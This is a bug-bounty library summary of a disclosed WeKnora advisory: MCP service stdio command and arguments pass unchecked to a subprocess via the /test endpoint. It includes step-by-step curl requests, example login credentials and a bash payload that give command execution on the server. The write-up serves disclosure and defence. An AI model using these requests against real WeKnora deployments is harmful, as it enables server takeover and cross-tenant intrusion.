# WeKnora has Command Injection in MCP stdio test

Authenticated users can set stdio_config.command/args on WeKnora MCP services; the /test endpoint spawns that command as a subprocess, yielding server RCE.

- Payout: Research
- Severity: critical
- Program: WeKnora
- Found by: im-soohyun
- Disclosed: 2026-01-09
- CVE: CVE-2026-22688
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-78h3-63c4-5fqc
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-78h3-63c4-5fqc
- Tags: area:web domain:api domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:command-injection vuln:rce

**Target:** MCP service stdio transport config and /test endpoint
**Root cause:** stdio_config.command/args are stored unsanitized and passed directly to NewStdioMCPClientWithOptions/Start, with no allowlist and no admin-only authorization on the MCP service routes.
**Steps:**
1. Authenticate via `POST /api/v1/auth/login` with `{"email":"admin@gmail.com","password":"admin123"}` to get a Bearer token
2. `POST /api/v1/mcp-services` with `{"name":"rce","transport_type":"stdio","stdio_config":{"command":"bash","args":["-lc","id > /tmp/RCE_ok.txt && uname -a >> /tmp/RCE_ok.txt"]},"env_vars":{}}`
3. Capture returned `data.id` as MCP_ID
4. `POST /api/v1/mcp-services/$MCP_ID/test` to trigger Connect() → Start()
5. Verify `ls -l /tmp/RCE_ok.txt` inside the container
**How found:** Code review of the MCP service route registration and handler flow: noticed stdio_config fields bound from JSON with no validation, stored directly, and reaching NewStdioMCPClientWithOptions/Start without admin authorization checks.
**Exploitation:** Any authenticated tenant user creates an MCP service with transport_type=stdio and an arbitrary command/args, then hits the /test endpoint; the server loads the stored config and spawns the subprocess, executing commands in the shared backend runtime.
**Escalation:** Impact may extend cross-tenant since execution occurs in a shared backend runtime; further escalation depends on container mounts and network policy.
**Insight:** When a feature lets users configure a subprocess (MCP stdio, plugin runners, language servers), trace the config object from JSON binding through storage to the exec sink and check whether the route enforces admin-only authz, not just authentication.

## Proof of concept (copied exactly from the original report)

**Create MCP service with injected bash command**

```
CREATE_RES="$(curl -sS -X POST "$API/api/v1/mcp-services" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name":"rce",
        "description":"rce",
        "enabled":true,
        "transport_type":"stdio",
        "stdio_config":{"command":"bash","args":["-lc","id > /tmp/RCE_ok.txt && uname -a >> /tmp/RCE_ok.txt"]},
        "env_vars":{}
      }')"
      
    MCP_ID="$(echo "$CREATE_RES" | jq -r '.data.id // empty')"
```

**Trigger /test endpoint to execute subprocess**

```
curl -sS -X POST "$API/api/v1/mcp-services/$MCP_ID/test" \
      -H "Authorization: Bearer $TOKEN" | jq .
```

**Login to obtain Bearer token**

```
TOKEN="$(curl -sS -X POST "$API/api/v1/auth/login" \
      -H "Content-Type: application/json" \
      -d "{\"email\":\"$EMAIL\",\"password\":\"$PASS\"}" | jq -r '.token // empty')"
      
    echo "TOKEN=$TOKEN"
```

